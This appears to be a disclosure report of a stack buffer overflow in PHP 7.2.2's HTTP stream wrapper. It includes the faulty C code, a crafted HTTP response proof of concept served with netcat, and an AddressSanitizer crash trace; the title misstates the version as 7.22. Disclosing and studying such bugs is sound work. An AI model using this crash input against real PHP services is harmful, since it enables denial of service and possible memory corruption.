PHP 7.22 php_stream_url_wrap_http_ex Buffer Overflow

`Description:  
------------  
The latest PHP distributions contain a memory corruption bug while parsing malformed HTTP response packets. Vulnerable code at:  
  
php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723  
  
if (tmp_line[tmp_line_len - 1] == '\n') {  
--tmp_line_len;  
if (tmp_line[tmp_line_len - 1] == '\r') {  
--tmp_line_len;  
}  
}  
  
If the proceeding buffer contains '\r' as either controlled content or junk on stack, under a realistic setting (non-ASAN), tmp_line_len could go do -1, resulting in an extra large string being copied subsequently. Under ASAN a segfault can be observed.  
  
$ bin/php --version  
PHP 7.2.2 (cli) (built: Feb 20 2018 08:51:24) ( NTS )  
Copyright (c) 1997-2018 The PHP Group  
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies  
  
  
Test script:  
---------------  
$ xxd -g 1 poc  
0000000: 30 30 30 30 30 30 30 30 30 31 30 30 0a 0a 000000000100..  
  
$ nc -vvlp 8080 < poc  
Listening on [0.0.0.0] (family 0, port 8080)  
Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 53083)  
GET / HTTP/1.0  
Host: localhost:8080  
Connection: close  
  
$ bin/php -r 'file_get_contents("http://localhost:8080");'  
  
Expected result:  
----------------  
NO CRASH  
  
Actual result:  
--------------  
$ bin/php -r 'file_get_contents("http://localhost:8080");'  
=================================================================  
==26249== ERROR: AddressSanitizer: stack-buffer-overflow on address 0xbfc038ef at pc 0x8aa393b bp 0xbfc02eb8 sp 0xbfc02eac  
READ of size 1 at 0xbfc038ef thread T0  
#0 0x8aa393a in php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723  
#1 0x8aa61fb in php_stream_url_wrap_http /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:979  
#2 0x8b8b115 in _php_stream_open_wrapper_ex /home/weilei/php-7.2.2/main/streams/streams.c:2027  
#3 0x8918dc0 in zif_file_get_contents /home/weilei/php-7.2.2/ext/standard/file.c:550  
#4 0x867993a in phar_file_get_contents /home/weilei/php-7.2.2/ext/phar/func_interceptors.c:224  
#5 0x91ee267 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:573  
#6 0x91ee267 in execute_ex /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:59731  
#7 0x923c13c in zend_execute /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:63760  
#8 0x8cba975 in zend_eval_stringl /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1082  
#9 0x8cbaf66 in zend_eval_stringl_ex /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1123  
#10 0x8cbb06b in zend_eval_string_ex /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1134  
#11 0x9244455 in do_cli /home/weilei/php-7.2.2/sapi/cli/php_cli.c:1042  
#12 0x9246b37 in main /home/weilei/php-7.2.2/sapi/cli/php_cli.c:1404  
#13 0xb5e8ca82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)  
#14 0x80656d0 in _start (/home/weilei/php7_asan/bin/php+0x80656d0)  
Address 0xbfc038ef is located at offset 607 in frame <php_stream_url_wrap_http_ex> of T0's stack:  
This frame has 13 object(s):  
[32, 36) 'transport_string'  
[96, 100) 'errstr'  
[160, 164) 'http_header_line_length'  
[224, 232) 'timeout'  
[288, 296) 'req_buf'  
[352, 360) 'tmpstr'  
[416, 432) 'ssl_proxy_peer_name'  
[480, 496) 'http_header'  
[544, 576) 'buf'  
[608, 736) 'tmp_line'  
[768, 1792) 'location'  
[1824, 2848) 'new_path'  
[2880, 3904) 'loc_path'  
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext  
(longjmp and C++ exceptions *are* supported)  
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723 php_stream_url_wrap_http_ex  
Shadow bytes around the buggy address:  
0x37f806c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x37f806d0: 00 00 f1 f1 f1 f1 04 f4 f4 f4 f2 f2 f2 f2 04 f4  
0x37f806e0: f4 f4 f2 f2 f2 f2 04 f4 f4 f4 f2 f2 f2 f2 00 f4  
0x37f806f0: f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 f4  
0x37f80700: f4 f4 f2 f2 f2 f2 00 00 f4 f4 f2 f2 f2 f2 00 00  
=>0x37f80710: f4 f4 f2 f2 f2 f2 00 00 00 00 f2 f2 f2[f2]00 00  
0x37f80720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f2 f2  
0x37f80730: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x37f80740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x37f80750: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x37f80760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
Shadow byte legend (one shadow byte represents 8 application bytes):  
Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07   
Heap left redzone: fa  
Heap righ redzone: fb  
Freed Heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack partial redzone: f4  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
ASan internal: fe  
==26249== ABORTING  
Aborted  
  
`